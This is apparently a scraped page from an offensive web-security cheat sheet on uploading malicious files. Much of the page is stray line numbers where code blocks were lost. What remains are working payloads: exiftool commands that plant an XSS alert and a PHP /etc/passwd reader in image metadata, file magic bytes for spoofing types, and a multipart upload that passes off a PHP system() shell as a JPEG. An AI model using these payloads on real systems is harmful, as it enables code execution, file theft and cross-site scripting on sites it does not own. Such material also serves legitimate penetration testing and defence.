Upload of Malicious Files
Check List
Methodology
Black Box
1
2
exiftool -Comment="">alert(prompt('XSS BY ZEROX4'))" xss_comment_exif_metadata_double_quote.pn3
4
5
6
7
8
9
10
11
NTFS Alternate Data Streams (ADS) abuse
1
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a OR GIF8;2
1
exiftool -documentname='<?php echo file_get_contents("/etc/passwd"); ?>' picture.png2
3
4
5
1
PNG files start with: 89 50 4E 47 0D 0A 1A 0A
PDF files start with: %PDF-1.7Content-Disposition: form-data; name="image"; filename="img.jpg"
Content-Type: image/jpeg
ÿØÿàJFIFÿÛC -> jpg Magic Number
... (binary data) ...
ÿÙ2
3
4
Content-Disposition: form-data; name="image"; filename="img.php" -> change to .PHP
Content-Type: image/jpeg
ÿØÿàJFIFÿÛC
... (binary data) ...
<?php
echo "<pre>";
system("uname -a");
echo "</pre>";
?>
ÿÙ5
1
2
3
4
5
6
7
8
9
10
ZIP Upload File
1
2
3
4
5
White Box
Cheat Sheet
Last updated